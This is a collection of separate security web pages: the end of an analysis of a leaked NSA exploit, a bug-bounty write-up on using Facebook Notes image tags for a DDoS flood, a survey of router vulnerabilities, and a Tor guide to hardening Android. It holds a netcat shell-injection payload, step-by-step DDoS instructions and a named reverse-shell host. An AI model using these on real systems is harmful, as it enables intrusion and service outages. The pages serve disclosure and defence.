    5. It runs **sudo /opt/ws/webinstall modifyFileEntry /opt/ws/webupgrade "." "/opt/ws/functions | . %path\_random2 | exit**
    6. It runs: **sudo /opt/ws/webupgrade**
  5. If the user didn't ask for **Root** : It runs directly the **%path\_random2**
  6. If the user proportions the files whose MAC wants to change, the exploit sets the MAC to real-time for each file. 

Great... Now we have the execution of the code and all the functionalities of
the exploit pretty reasonably explained. 

  
A simple way, the **%path\_random2** file to end up running **%path\_random1**
\(which contains the payload of the user\). Additionally, the necessary
commands are run in order to change the MAC for files and directories like as
was done for commands to gain **ROOT**  privileges.  
This is possible using 'sudo', because the user that runs the vulnerable code
has access for the 'sudo' use. This is a bad security practice for users that
run services such as HTTP servers.

For the binaries run in /opt/ws, due to not have access to the software and on
the internet there is documentation for them we can't specify anything.  
  
Great\!\!\!... we already have everything, but **_which one is the
vulnerability?\!_**

  
The vulnerability is exploited in the **bld\_n\_snd\_http** function. Look for
yourselves...  
  
<img src='img/rsz_shell_injection.png' width='640' height='266' />  
---  
Parameter licfile  
'aTypeLicxFerF\_7' is the string format that creates the POST parameters which
are sent in the **Request POST**  via **HTTPS** to a **CGI** in _**/auth-cgi-
bin/distUpgReq**_.  
  
Can you see the **;echo** in the **licfile** parameter? This is clearly a
**Command Injection,**  the **CGI** concate licfile parameter in the command
that will be run in a shell. This is the way the NSA's exploit achieved code
execution.  
The function **snd\_n\_append** mentioned earlier, that wrote a file in the
remote system is simply a Wrapper of this last function.  
It reads the sent files by parameters and after it calls **bld\_n\_snd\_http**
passing as a parameter a string with all POST parameters of this CGI.  
  
To wrap things up, I would like to mention that there is a script in the
leak /Linux/bin/epichero/cleanup.script which does an inspection for the logs
of apache and erases any trace of the exploit in a pretty detailed way. On top
of this, it restores the backups of the directory /opt/ws and eliminates the
file /var/iglut/upg\_status.dat  
  
Lastly, an interesting piece of information in the same directory of this
script is the reverse shell used by NSA and that contains the address
IPv4 **206.210.129.25 \(Amphitheater Public Schools\).**  
It could be possible that this is one of the servers hacked by NSA to hide
traces of its Shells and exploits.  
  

###

  * Conclusion: 

The exploit was developed with a lot of protective error checking. Features
against forensic analysis such as changing the MAC of the files and
directories in addition to a strong log of each action done by the
exploit. All of this shows the huge amoung of effort dedicated to creating the
most effective and ''sneaky'' exploit possible to avoid tipping off any alerts
as was done, also in the obtention and use of violated servers previously to
use how receivers of its Reverse Shells an be more stealth.  
  

**Credits**

Author: 

Ezequiel Tavella \(@EzequielTBH\) - **Infobyte Security Research Lab
\(****@infobytesec****\)**

  

Contributions:

Josh Mador - **Infobyte Security**

Federico Kirschbaum - **Infobyte Security**

Share :

✚

#### Related Post

  * <img src='img/grey.GIF.png' width='1' height='1' />Evilgrade: Updating a backdoor never gets old
  * <img src='img/Temp2_5562.jpg' width='72' height='72' />Pwning Mac OS X con evilgrade + MacPorts
  * <img src='img/Screen+Shot+2015-10-15+at+9.59.42+AM.png' width='72' height='72' />Immunity's Canvas & Faraday Alliance
  * <img src='img/Screenshot+from+2017-01-27+16-21-46.png' width='72' height='72' />The first 2017 Faraday Release is here\!
  * <img src='img/Screen+Shot+2016-09-16+at+5.14.07+PM.png' width='72' height='72' />Welcome Faraday 2.1
  * <img src='img/1.0.21-Faraday-Gtk-HostInfoDialog.png' width='72' height='72' />Grab your Faraday v1.0.21 today\!

  

  *[1:22 PM]: 2017-05-03T13:22:00-03:00

# Using Facebook Notes to DDoS any website | A Programmer's Blog
**Created:**| _4/28/2014 11:24:42 AM_  
---|---  
**Updated:**| _4/28/2014 11:24:42 AM_  
**Author:**| __  
**Tags:**| _DoS social_  
  

# Using Facebook Notes to DDoS any website

Facebook Notes allows users to include <img> tags. Whenever a <img> tag is
used, Facebook crawls the image from the external server and caches it.
Facebook will only cache the image once however using random get parameters
the cache can be by-passed and the feature can be abused to cause a huge HTTP
GET flood.

Steps to re-create the bug as reported to Facebook Bug Bounty on March 03,
2014.  
Step 1. Create a list of unique img tags as one tag is crawled only once

[code]

            <img src=http://targetname/file?r=1></img>
            <img src=http://targetname/file?r=1></img>
            ..
            <img src=http://targetname/file?r=1000></img>
[/code]

Step 2. Use m.facebook.com to create the notes. It silently truncates the
notes to a fixed length.

Step 3. Create several notes from the same user or different user. Each note
is now responsible for 1000+ http request.

Step 4. View all the notes at the same time. The target server is observed to
have massive http get flood. Thousands of get request are sent to a single
server in a couple of seconds. Total number of facebook servers accessing in
parallel is 100+.

**Initial Response:** Bug was denied as they misinterpreted the bug would only
cause a 404 request and is not capable of causing high impact.

After exchanging few emails I was asked to prove if the impact would be high.
I fired up a target VM on the cloud and using only browsers from three laptops
I was able to achieve 400+ Mbps outbound traffic for 2-3 hours.

<img src='img/Temp2_8761.png' />

Number of Facebook Servers: **127**

Of course, the impact could be more than 400 Mbps as I was only using browser
for this test and was limited by the number of browser thread per domain that
would fetch the images. I created a proof-of-concept script that could cause
even greater impact and sent the script along with the graph to Facebook.

On April 11, I got a reply that said

> Thank you for being patient and I apologize for the long delay here. This
> issue was discussed, bumped to another team, discussed some more, etc.
> In the end, the conclusion is that there’s no real way to us fix this that
> would stop “attacks” against small consumer grade sites without also
> significantly degrading the overall functionality.
> Unfortunately, so-called “won’t fix” items aren’t eligible under the bug
> bounty program, so there won’t be a reward for this issue. I want to
> acknowledge, however, both that I think your proposed attack is
> interesting/creative and that you clearly put a lot of work into researching
> and reporting the issue last month. That IS appreciated and we do hope that
> you’ll continue to submit any future security issues you find to the
> Facebook bug bounty program.
I’m not sure why they are not fixing this. Supporting dynamic links in image
tags could be a problem and I’m not a big fan of it. I think a manual upload
would satisfy the need of users if they want to have dynamically generated
image on the notes.

I also see a couple of other problems with this type of abuse:

  * A scenario of traffic amplification: when the image is replaced by a pdf or video of larger size, Facebook would crawl a huge file but the user gets nothing. 
  * Each Note supports 1000+ links and Facebook blocks a user after creating around 100 Notes in a short span. Since there is no captcha for note creation, all of this can be automated and an attacker could easily prepare hundreds of notes using multiple users until the time of attack when all of them is viewed at once. 

Although a sustained 400 Mbps could be dangerous, I wanted to test this one
last time to see if it can indeed have a larger impact.  
Getting rid of the browser and using the poc script I was able to get ~900
Mbps outbound traffic.

<img src='img/Temp2_8762.png' />

I was using an ordinary 13 MB PDF file which was fetched by Facebook
**180,000+** times, number of Facebook servers involved was **112**.

We can see the traffic graph is almost constant at 895 Mbps. This might be
because of the maximum traffic imposed on my VM on the cloud which is using a
shared Gbps ethernet port. It seems there is no restriction put on Facebook
servers and with so many servers crawling at once we can only imagine how high
this traffic can get.

After finding and reporting this issue, I found similar issues with Google
which I blogged here. Combining Google and Facebook, it seems we can easily
get multiple Gbps of GET Flood.

Facebook crawler shows itself as facebookexternalhit. Right now it seems there
is no other choice than to block it in order to avoid this nuisance.

**\[Update\]**  
https://developers.facebook.com/docs/ApplicationSecurity/ mentions a way to
get the list of IP addresses that belongs to Facebook crawler.

[code]

    whois -h whois.radb.net — ‘-i origin AS32934′ | grep ^route
[/code]

Blocking the IP addresses could be more effective than blocking the useragent.

I’ve been getting a lot of response on the blog and would like to thank the
DOSarrest team for acknowledging the finding with an appreciation token.

# Practical ways to misuse a router

**Created:**| _6/29/2017 3:53:21 PM_  
---|---  
**Updated:**| _6/29/2017 3:53:21 PM_  
**Author:**| __  
**Tags:**| __  
  

  

# Practical ways to misuse a router

Wi-Fi and 3G routers are all around us. Yet in just one recent month,
approximately 10 root shell and administrator account vulnerabilities in home
internet devices came to light. And access to tens of millions of IoT
devices—routers, webcams, and other gadgets—is available to anyone willing to
pay $50 for a shodan.io paid account.  
  
At the same time, developers and vendors of these devices tend to have other
priorities than "testing" and "security." Many serious vulnerabilities remain
unpatched, and even when patches are released, users are slow to install them.
What does this leave us with? Legions of vulnerable devices, lying low until
hacked and pressed into service as part of a DDoS botnet.

##  What's changed?

The Mirai botnet burst onto the world scene in August 2016. MalwareMustDie
researchers started to study the malicious network activity of IoT devices in
early August, and by September 20, the botnet had grown to approximately
150,000 devices \(primarily DVRs and IP cameras\) and attacked Minecraft
servers hosted by French provider OVH.  
  
IoT devices were infected by attacks on Telnet ports 23 or 2323 using a list
of 62 standard passwords. IP addresses were generated completely randomly
throughout the entire numbering space; after connecting to the network, each
infected device started scanning for these random addresses. The botnet code
was not stored in long-term memory and therefore did not survive a restart of
the infected device. But considering the speed at which the bots scanned the
internet, after a restart the previously infected device would soon rejoin the
botnet anyway.  
  
This was followed by massive DDoS attacks on journalist Brian Krebs, DynDNS,
Liberia, Deutsche Telekom, and a U.S. college. The Mirai source code was
published in early October. The attack on Deutsche Telekom two months later
used a modified version of Mirai that exploited a vulnerability in the
RomPager server on port 7547 \(CWMP protocol\).  
  
As claimed by the person who published the Mirai code, the botnet encompassed
380,000 devices simultaneously. The sheer scale of infection was made possible
by negligence, of course—externally accessible Telnet and the failure to
require non-factory-set passwords were key enablers of the botnet's growth.

##  More than just cameras

Attempts to fight back against these attacks are slowly but surely reducing
the number of compromised devices with non-unique passwords. Attackers'
methods are changing from password-guessing to exploitation of various
vulnerabilities.  
  
The Mirai preyed primarily on video cameras and other IoT devices on which
Telnet gives access to Linux commands; but on routers, Telnet gave access only
to the command-line interface \(CLI\) for configuration. The CLI allows
reading and modifying the device configuration, DNS settings, IP routing, and
system information—which is already enough for some attacks, but not enough to
install software for remote control.  
  
Here is what we'll charitably call "cute" protection from bots that can be
found on port 23 of some routers:

<img src='img/iot.png' width='400' height='177' />

But the absence of bash terminals does not mean that other attack vectors are
absent.  
  
So what is your run-of-the-mill home router? It's a package containing:

  * Externally accessible web panel with a flashy design
  * Read-only squashfs file system and ~10 MB of flash memory
  * Busybox \(compact UNIX command-line interface with utilities\), almost inevitably
  * micro http web server, DropBear SSH server
  * Open ports: 80, 443, 23, 22, 21, 137

<img src='img/shodan.png' width='576' height='303' />

The average age of device firmware is 3–4 years. This age correlates with the
average age of routers themselves—in other words, users buy new routers sooner
than they update the firmware on their existing ones. Recently an encouraging
trend in the direction of improvement has been seen, thanks to providers that
remotely \(and without user intervention\) are able to diagnose, configure,
and roll out updates to user routers. One limitation, though, is that this
works only for devices put out under the providers' own brands.  
  
Based on field experience, passwords for approximately 15 out of 100 devices
have never been changed from their default values. And just the five most
popular user name/password pairs are enough to get admin access to 1 out of
every 10 devices:

<img src='img/stats.png' width='576' height='230' />

Having obtained access to a web panel, an attacker can make life difficult for
all of the network users, perform DNS spoofing, and probe the internal
network. If lucky, the attacker can also run ping or traceroute from the web
panel, find vulnerabilities in the web server code in order to obtain shell
access, or use an already-found vulnerability.  
  
The diversity and simplicity of vulnerabilities \(not to mention number of bug
reports\) existing in router software is clear sign that device functionality
is rarely subjected to rigorous testing, and that developers do not have the
know-how to create secure software. Development does not take intruder models
into account. Buyers can walk out of a store today with a router containing
one of the following vulnerabilities:  
● NETGEAR DGN2200v1/v2/v3/v4 - 'ping.cgi' RCE \(link\). Due to insufficient
checks in ping.cgi, user-entered IP addresses are piped directly into bash.
Therefore, arbitrary commands can be run in the terminal by appending these
commands in the IP address field of a POST request. For example: 12.12.12.12;
nc -l 4444 -e /bin/bash. Of course, "nc" can be turned into a more powerful
payload, such as msfvenom. 3,000 devices are awaiting their hour of reckoning.
Exploiting this vulnerability requires authorization in the web interface.  
  
● Multiple vulnerabilities in GoAhead WIFICAM cameras \(link\). A number of
vulnerabilities were found in over 1,250 models of IP cameras, placing
approximately 150,000 cameras at risk. An error in implementation of a custom
authorization mechanism allows obtaining the administrator password; in
addition, an OS Command Injection vulnerability in set\_ftp.cgi allows running
any and all terminal commands. Together, these give full unrestricted control
over the device. Yikes\!  
  
This vulnerability was added to the arsenal of the TheMoon botnet, which was
first spotted in 2014. Research identified infected cameras on which the
settings.ini file had been modified to contain a script that loads malicious
code from the attacker's server when the device is started.  
  
  
A series of downloads from the attacker's server is concluded with an ARM-
compiled executable:  
  
  
which is identified by 18 out of 57 antivirus products as Linux/Proxy.  
  
● Linksys Smart Wi-Fi Vulnerabilities \(link\). Security analysis of 25
popular Linksys Smart Wi-Fi routers sold worldwide led to identification of 10
vulnerabilities of various types and danger levels. Some of the
vulnerabilities allow running arbitrary commands with root privileges.
Although Shodan shows only a total of 1,000 such devices, researchers have
described scanning over 7,000 devices.  
  
● Siklu EtherHaul Unauthenticated Remote Command Execution Vulnerability \(<7
.4.0="" a="" href="http://seclists.org/fulldisclosure/2017/Feb/53">link

  

# Mission Impossible: Hardening Android for Security and Privacy | The Tor Blog
**Created:**| _4/4/2014 1:23:08 PM_  
---|---  
**Updated:**| _4/4/2014 1:23:08 PM_  
**Author:**| __  
**Tags:**| _opinion android_  
  

# Executive Summary

The future is here, and ahead of schedule. Come join us, the weather's nice.

This blog post describes the installation and configuration of a prototype of
a secure, full-featured, Android telecommunications device with full Tor
support, individual application firewalling, true cell network baseband
isolation, and optional ZRTP encrypted voice and video support. ZRTP does run
over UDP which is not yet possible to send over Tor, but we are able to send
SIP account login and call setup over Tor independently.

The SIP client we recommend also supports dialing normal telephone numbers,
but that is also UDP+ZRTP, and the normal telephone network side of the
connection is obviously not encrypted.

Aside from a handful of binary blobs to manage the device firmware and
graphics acceleration, the entire system can be assembled \(and recompiled\)
using only FOSS components. However, as an added bonus, we will describe how
to handle the Google Play store as well, to mitigate the two infamous Google
Play Backdoors.

# Introduction

Android is the most popular mobile platform in the world, with a wide variety
of applications, including many applications that aid in communications
security, censorship circumvention, and activist organization. Moreover, the
core of the Android platform is Open Source, auditable, and modifiable by
anyone.

Unfortunately though, mobile devices in general and Android devices in
particular have not been designed with privacy in mind. In fact, they've
seemingly been designed with nearly the opposite goal: to make it easy for
third parties, telecommunications companies, sophisticated state-sized
adversaries, and even random hackers to extract all manner of personal
information from the user. This includes the full content of personal
communications with business partners and loved ones. Worse still, by default,
the user is given very little in the way of control or even informed consent
about what information is being collected and how.

This post aims to address this, but we must first admit we stand on the
shoulders of giants. Organizations like Cyanogen, F-Droid, the Guardian
Project, and many others have done a great deal of work to try to improve this
situation by restoring control of Android devices to the user, and to ensure
the integrity of our personal communications. However, all of these projects
have shortcomings and often leave gaps in what they provide and protect. Even
in cases where proper security and privacy features exist, they typically
require extensive configuration to use safely, securely, and correctly.

This blog post enumerates and documents these gaps, describes workarounds for
serious shortcomings, and provides suggestions for future work.

It is also meant to serve as a HOWTO to walk interested, technically capable
people through the end-to-end installation and configuration of a prototype of
a secure and private Android device, where access to the network is restricted
to an approved list of applications, and all traffic is routed through the Tor
network.

It is our hope that this work can be replicated and eventually fully
automated, given a good UI, and rolled into a single ROM or ROM addon package
for ease of use. Ultimately, there is no reason why this system could not
become a full fledged off the shelf product, given proper hardware support and
good UI for the more technical bits.

The remainder of this document is divided into the following sections:

# Hardware Selection

If you truly wish to secure your mobile device from remote compromise, it is
necessary to carefully select your hardware. First and foremost, it is
absolutely essential that the carrier's baseband firmware is completely
isolated from the rest of the platform.

While there are projects underway to determine which handsets actually provide
true hardware baseband isolation, at the time of this writing there is very
little public information available on this topic. Hence, the only safe option
remains a device with no cell network support at all \(though cell network
connectivity can still be provided by a separate device\). For the purposes of
this post, the reference device is the WiFi-only version of the 2013 Google
Nexus 7 tablet.

For users who wish to retain full mobile access, we recommend obtaining a cell
modem device that provides a WiFi access point for data services only. These
devices do not have microphones and in some cases do not even have fine-
grained GPS units \(because they are not able to make emergency calls\). They
are also available with prepaid plans, for rates around $20-30 USD per month,
for about 2GB/month of 4G data.

To increase battery life of your cell connection, you can connect this access
point to an external mobile USB battery pack, which typically will provide
36-48 hours of continuous use with a 6000mAh battery.

The total cost of a Wifi-only tablet with cell modem and battery pack is only
roughly USD $50 more than the 4G LTE version of the same device.

In this way, you achieve true baseband isolation, with no risk of "silent
call" audio surveillance, baseband exploits, or provider backdoors.
Effectively, this cell modem is just another untrusted router in a long, long
chain of untrustworthy Internet infrastructure.

However, do note though that even if the cell unit does not contain a fine-
grained GPS, you still sacrifice location privacy while using it. Over an
extended period of time, it will be possible to make inferences about your
physical activity, behavior and personal preferences, and your identity, based
on cell tower use alone.

# Installation and Setup

We will focus on the installation of Cyanogenmod 11 using Team Win Recovery
Project, both to give this HOWTO some shelf life, and because Cyanogenmod 11
features full SELinux support \(Dear NSA: What happened to you guys? You used
to be cool. Well, some of you. Some of the time. Maybe. Or maybe not\).

The use of Google Apps and Google Play services is not recommended due to
security issues with Google Play. However, we do provide workarounds for
mitigating those issues, if Google Play is required for your use case.

## Installation and Setup: ROM and Core App Installation

With the 2013 Google Nexus 7 tablet, installation is fairly straight-forward.
In fact, it is actually possible to install and use the device before
associating it with a Google Account in any way. This is a desirable property,
because by default, the otherwise mandatory initial setup process of the stock
Google ROM sends your device MAC address directly to Google and links it to
your Google account \(all without using Tor, of course\).

The official Cyanogenmod installation instructions are available online, but
with a fresh out of the box device, here are the key steps for installation
without activating the default ROM code at all \(using Team Win Recovery
Project instead of ClockWorkMod\).

First, on your desktop/laptop computer \(preferably Linux\), perform the
following:

  1. Download the latest CyanogenMod 11 release \(or Milestone snapshot\)
  2. Download the latest Team Win Recovery Project image
  3. Download the F-Droid package \(we used 0.58\)
  4. Download the Orbot package from F-Droid \(we used 13.0.5\)
  5. Download the Droidwall package from F-Droid \(we used 1.5.7\)
  6. Download the Droidwall Firewall Scripts attached to this blogpost
  7. Download the Google Apps for Cyanogenmod 11 \(optional\)

Because the download integrity for all of these packages is abysmal, here is a
signed set of SHA256 hashes I've observed for those packages.

Once you have all of those packages, boot your tablet into fastboot mode by
holding the Power button and the Volume Down button during a cold boot. Then,
attach it to your desktop/laptop machine with a USB cable and run the
following commands, as root:

[code]

     apt-get install android-tools-adb android-tools-fastboot
     fastboot devices
     fastboot oem unlock
     fastboot flash recovery openrecovery-twrp-2.7.0.0-flo.img
    
[/code]

After the recovery firmware is flashed successfully, use the volume keys to
select _Recovery_ and hit the power button to reboot the device \(or power it
off, and then boot holding Power and Volume Up\).

Once Team Win boots, go into _Wipe_ and select _Advanced Wipe_. Select all
checkboxes except for USB-OTG, and slide to wipe. Once the wipe is done, click
_Format Data_. After the format completes, issue these commands from your
Linux root shell:

[code]

     adb server start
     adb push cm-11-20140308-SNAPSHOT-M4-flo.zip /sdcard/
     adb push gapps-kk-20140105-signed.zip /sdcard/ # Optional
    
[/code]

After this push process completes, go to the _Install_ menu, and select the
Cyanogen zip, and optionally the gapps zip for installation. Then click
Reboot, and select System.

After rebooting into your new installation, skip all CyanogenMod and Google
setup, disable location reporting, and immediately disable WiFi and turn on
Airplane mode.

Then, go into _Settings - > About Tablet_ and scroll to the bottom and click
the greyed out Build number 5 times until developer mode is enabled. Then go
into _Settings - > Developer Options_ and turn on _USB Debugging_.

After that, run the following commands from your Linux root shell:

[code]

     adb install FDroid.apk
     adb install org.torproject.android_70.apk
     adb install com.googlecode.droidwall_157.apk
    
[/code]

You will need to approve the ADB connection for the first package, and then
they should install normally.

**VERY IMPORTANT:** Whenever you finish using adb, **always remember** to
disable _USB Debugging_ and restore _Root Access_ to _Apps only_. While
Android 4.2+ ROMs now prompt you to authorize an RSA key fingerprint before
allowing a debugging connection \(thus mitigating adb exploit tools that
bypass screen lock and can install root apps\), you still risk additional
vulnerability surface by leaving debugging enabled.

## Installation and Setup: Initial Configuration

After the base packages are installed, go into the Settings app, and make the
following changes:

  1. Location Access -> Off
  2. Language & Input =>

  * Spell Checker -> Android Spell Checker -> Disable Contact Names
  * Disable Google Voice Typing
  * Android Keyboard \(AOSP\) =>
    * Disable AOSP next-word suggestion \(do this first\!\)
    * Auto-correction -> Off

  * Backup & reset =>

  * Enable _Back up my data_ \(just temporarily, for the next step\)
  * Uncheck _Automatic restore_
  * Disable _Backup my data_

  * About Tablet -> Cyanogenmod Statistics -> Disable reporting
  * Developer Options -> Device Hostname -> localhost
  * SuperUser -> Settings \(three dots\) -> Notifications -> Notification \(not toast\)
  * Privacy -> Privacy Guard =>
    * Enabled by default
    * Settings \(three dots\) -> Show Built In Apps
    * Enable Privacy Guard for every app with the following exceptions: 
      * Calendar
      * Config Updater
      * Google Account Manager \(long press\)
      * Modify Settings -> Off
      * Wifi Change -> Off
      * Data Change -> Off
    * Google Play Services \(long press\)
    * Location -> Off
    * Modify Settings -> Off
    * Draw on top -> Off
    * Record Audio -> Off
    * Wifi Change -> Off
  * Google Play Store \(long press\)

  * Location -> Off
  * Send SMS -> Off
  * Modify Settings -> Off
  * Data change -> Off

  * Google Services Framework \(long press\)

  * Modify Settings -> Off
  * Wifi Change -> Off
  * Data Change -> Off

  * Trebuchet

  * Security =>
    * PIN screen Lock 
    * Allow Unknown Sources \(For F-Droid\) 
    * Encrypt Tablet 

After that last step, your tablet will reboot and encrypt itself. It is
important to do this step early, as I have noticed additional apps and
configuration tweaks can make this process fail later on. You can and should
also change the boot password to be different from the screen unlock PIN later
on, to mitigate compromise of this password from shoulder surfers, and to
allow the use of a much longer \(and non-numeric\) password that you would
prefer not to type every time you unlock the screen.

To do this, open the Terminal app, and type the following commands:

[code]

    su
    vdc cryptfs changepw NewMoreSecurePassword
    
[/code]

Watch for typos\! That command does not ask you to re-type that password for
confirmation.

## Installation and Setup: Disabling Invasive Apps and Services

Before you configure the Firewall or enable the network, you likely want to
disable at least a subset of the following built-in apps and services, by
using _Settings - > Apps -> All_, and then clicking on each app and hitting
the _Disable_ button:

  * com.android.smspush
  * com.google.android.voicesearch
  * Face Unlock
  * Google Backup Transport
  * Google Calendar Sync
  * Google One Time Init
  * Google Partner Setup
  * Google Contacts Sync
  * Google Search
  * Hangouts
  * Market Feedback Agent
  * News & Weather
  * One Time Init
  * Picasa Updater
  * Sound Search for Google Play
  * TalkBack

## Installation and Setup: Tor and Firewall configuration

Ok, now let's install the firewall and tor support scripts. Go back into
_Settings - > Developer Options_ and enable _USB Debugging_ and change _Root
Access_ to _Apps and ADB_. Then, unzip the android-firewall.zip on your
laptop, and run the installation script:

[code]

    ./install-firewall.sh
    
[/code]

That firewall installation provides several key scripts that provide
functionality that is currently impossible to achieve with any app \(including
Orbot\):

  1. It installs a userinit script to block all network access during boot.
  2. It disables "Google Captive Portal Detection", which involves connection attempts to Google servers upon Wifi assocation.
  3. It contains a Droidwall script that configures Tor transproxy rules to send all of your traffic through Tor. These rules include a fix for a Linux kernel Tor transproxy packet leak issue.
  4. The main firewall-tor.sh Droidwall script also includes an input firewall, to block all inbound connections to the device. It also fixes a Droidwall permissions vulnerability
  5. It installs an optional script to allow the Browser app to bypass Tor for logging into WiFi captive portals.
  6. It installs an optional script to temporarily allow network adb access when you need it \(if you are paranoid about USB exploits, which you should be\).
  7. It provides an optional script to allow the UDP activity of LinPhone to bypass Tor, to allow ZRTP-encrypted Voice and Video SIP/VoIP calls. SIP account login/registration and call setup/signaling can be done over TCP, and Linphone's TCP activity is still sent through Tor with this script. 

Note that with the exception of the userinit network blocking script,
installing these scripts does not activate them. You still need to configure
Droidwall to use them.

We use Droidwall instead of Orbot or AFPWall+ for five reasons:

  1. Droidwall's app-based firewall and Orbot's transproxy are known to conflict and reset one another.
  2. Droidwall does not randomly drop transproxy rules when switching networks \(Orbot has had several of these types of bugs\).
  3. Unlike AFWall+, Droidwall is able to auto-launch at "boot" \(though still not before the network and Android Services come online and make connections\).
  4. AFWall+'s "fix" for this startup data leak problem does not work on Cyanogenmod \(hence our userinit script instead\).
  5. Aside from the permissions issue fixed by our firewall-tor.sh script, AFWall+ provides no additional security fixes over the stock Droidwall.

To make use of the firewall scripts, open up Droidwall and hit the config
button \(the vertical three dots\), go to _More - > Set Custom Script_. Enter
the following:

[code]

    . /etc/firewall-tor.sh
    #. /etc/firewall-adb.sh
    #. /etc/firewall-linphone.sh
    #. /etc/firewall-capportal.sh
    
[/code]

Note that these scripts have been installed into a readonly root directory.
Because they are run as root, installing them to a world-writable location
like /sdcard/ is extremely unwise.

Later, if you want to enable one of network adb, LinPhone UDP, or captive
portal login, go back into this window and remove the leading comment \('\#'\)
from the appropriate lines \(this is obviously one of the many aspects of this
prototype that could benefit from real UI\).

Then, configure the apps you want to allow to access the network. Note that
the only Android system apps that must access the network are:

  * CM Updater
  * Downloads, Media Storage, Download Manager
  * F-Droid

Orbot's network access is handled via the main firewall-tor.sh script. You do
not need to enable full network access to Orbot in Droidwall.

The rest of the apps you can enable at your discretion. They will all be
routed through Tor automatically.

Once the Droidwall is configured, you can enable Orbot. **Do not** grant Orbot
superuser access. It still opens the transproxy ports you need without root,
and Droidwall is managing installation of the transproxy rules, not Orbot.

You are now ready to enable Wifi and network access on your device. For
vulnerability surface reduction, you may want to use the _Advanced Options - >
Static IP_ to manually enter an IP address for your device to avoid using
dhclient. You do not need a DNS server, and can safely set it to 127.0.0.1.

# Google Apps Setup

If you installed the Google Apps zip, you need to do a few things now to set
it up, and to further harden your device. If you opted out of Google Apps, you
can skip to the next section.

## Google Apps Setup: Initializing Google Play

The first time you use Google Play, you will need to enable three apps in
Droidwall: "_Google Account Manager, Google Play Services..._ ", "_Settings,
Dev Tools, Fused Location..._ ", and "_Google Play_ " itself.

If you do not have a Google account, your best bet is to find open wifi to
create one, as Google will often block accounts created through Tor, even if
you use an Android device.

After you log in for the first time, you should be able to disable the
"_Google Account Manager, Google Play Services..._ " and the "_Settings..._ "
apps in Droidwall, but your authentication tokens in Google Play may expire
periodically. If this happens, you should only need to temporarily enable the
"_Google Account Manager, Google Play Services..._ " app in Droidwall to
obtain new ones.

## Google Apps Setup: Mitigating the Google Play Backdoors

If you do choose to use Google Play, you need to be very careful about how you
allow it to access the network. In addition to the risks associated with using
a proprietary App Store that can send you targeted malware-infected packages
based on your Google Account, it has at least two major user experience flaws:

  1. Anyone who is able to gain access to your Google account can silently install root or full permission apps without any user interaction what-so-ever. Once installed, these apps can retroactively clear what little installation notification and UI-based evidence of their existence there was in the first place. 
  2. The Android Update Process does not inform the user of changes in permissions of pending update apps that happen to get installed after an Android upgrade.

The first issue can be mitigated by ensuring that Google Play does not have
access to the network when not in use, by disabling it in Droidwall. If you do
not do this, apps can be installed silently behind your back. Welcome to the
Google Experience.

For the second issue, you can install the SecCheck utility, to monitor your
apps for changes in permissions during a device upgrade.

## Google Apps Setup: Disabling Google Cloud Messaging

If you have installed the Google Apps zip, you have also enabled a feature
called Google Cloud Messaging.

The Google Cloud Messaging Service allows apps to register for asynchronous
remote push notifications from Google, as well as send outbound messages
through Google.

Notification registration and outbound messages are sent via the app's own
UID, so using Droidwall to disable network access by an app is enough to
prevent outbound data, and notification registration. However, if you ever
allow network access to an app, and it does successfully register for
notifications, these notifications can be delivered even when the app is once
again blocked from accessing the network by Droidwall.

These inbound notifications can be blocked by disabling network access to the
"_Google Account Manager, Google Play Services, Google Services Framework,
Google Contacts Sync_ " in Droidwall. In fact, the only reason you should ever
need to enable network access by this service is if you need to log in to
Google Play again if your authentication tokens ever expire.

If you would like to test your ability to control Google Cloud Messaging,
there are two apps in the Google Play store than can help with this. GCM Test
allows for simple send and receive pings through GCM. Push Notification Tester
will allow you to test registration and asynchronous GCM notification.

## Recommended Privacy and Auditing Software

Ok, so now that we have locked down our Android device, now for the fun bit:
secure communications\!

We recommend the following apps from F-Droid:

  1. Xabber

Xabber is a full Java implementation of XMPP, and supports both OTR and Tor.
Its UI is a bit more streamlined than Guardian Project's ChatSecure, and it
does not make use of any native code components \(which are more vulnerable to
code execution exploits than pure Java code\). Unfortunately, this means it
lacks some of ChatSecure's nicer features, such as push-to-talk voice and file
transfer.

Despite better protection against code execution, it does have several
insecure default settings. In particular, you want to make the following
changes:

  * Notifications -> Message text in Notifications -> Off \(notifications can be read by other apps\!\)
  * Accounts -> Integration into system accounts -> Off
  * Accounts -> Store message history -> Don't Store
  * Security -> Store History -> Off
  * Security -> Check Server Certificate
  * Chat -> Show Typing Notifications -> Off
  * Connection Settings -> Auto-away -> disabled
  * Connection Settings -> Extended away when idle -> Disabled
  * Keep Wifi Awake -> On
  * Prevent sleep Mode -> On

  * Offline Calendar

Offline Calendar is a hack to allow you to create a fake local Google account
that does not sync to Google. This allows you to use the Calendar App without
risk of leaking your activities to Google. Note that you must exempt both this
app and Calendar from Privacy Guard for it to function properly.

  * LinPhone

LinPhone is a FOSS SIP client that supports TCP TLS signaling and ZRTP. **Note
that neither TLS nor ZRTP are enabled by default.** You must manually enable
them in _Settings - > Network -> Transport and Settings -> Network -> Media
Encryption_.

ostel.co is a free SIP service run by the Guardian Project that supports only
TLS and ZRTP, but does not allow outdialing to normal PSTN telephone numbers.
While Bitcoin has many privacy issues of its own, the Bitcoin community
maintains a couple lists of "trunking" providers that allow you to obtain a
PSTN phone number in exchange for Bitcoin payment.

  * OSMAnd~

A free offline mapping tool. While the UI is a little clunky, it does support
voice navigation and driving directions, and is a handy, private alternative
to Google Maps.

  * VLC
The VLC port in F-Droid is a fully capable media player. It can play mp3s and
most video formats in use today. It is a handy, private alternative to Google
Music and other closed-source players that often report your activity to third
party advertisers. VLC does not need network access to function.

  * Firefox

We do not yet have a port of Tor Browser for Android \(though one is underway
-- see the Future Work section\). Unless you want to use Google Play to get
Chrome, Firefox is your best bet for a web browser that receives regular
updates \(the built in Browser app does not\). HTTPS-Everywhere and NoScript
are available, at least.

  * Bitcoin

Bitcoin might not be the most private currency in the world. In fact, you
might even say it's the least private currency in the world. But, it is a neat
toy.

  * Launch App Ops
The Launch App Ops app is a simple shortcut into the hidden application
permissions editor in Android. A similar interface is available through
_Settings - > Privacy -> Privacy Guard_, but a direct shortcut to edit
permissions is handy. It also displays some additional system apps that
Privacy Guard omits.

  * Permissions
The Permissions app gives you a view of all Android permissions, and shows you
which apps have requested a given permission. This is particularly useful to
disable the _record audio_ permission for apps that you don't want to suddenly
decide to listen to you. \(Interestingly, the Record Audio permission disable
feature was broken in all Android ROMs I tested, aside from Cyanogenmod 11.
You can test this yourself by revoking the permission from the Sound Recorder
app, and verifying that it cannot record.\)

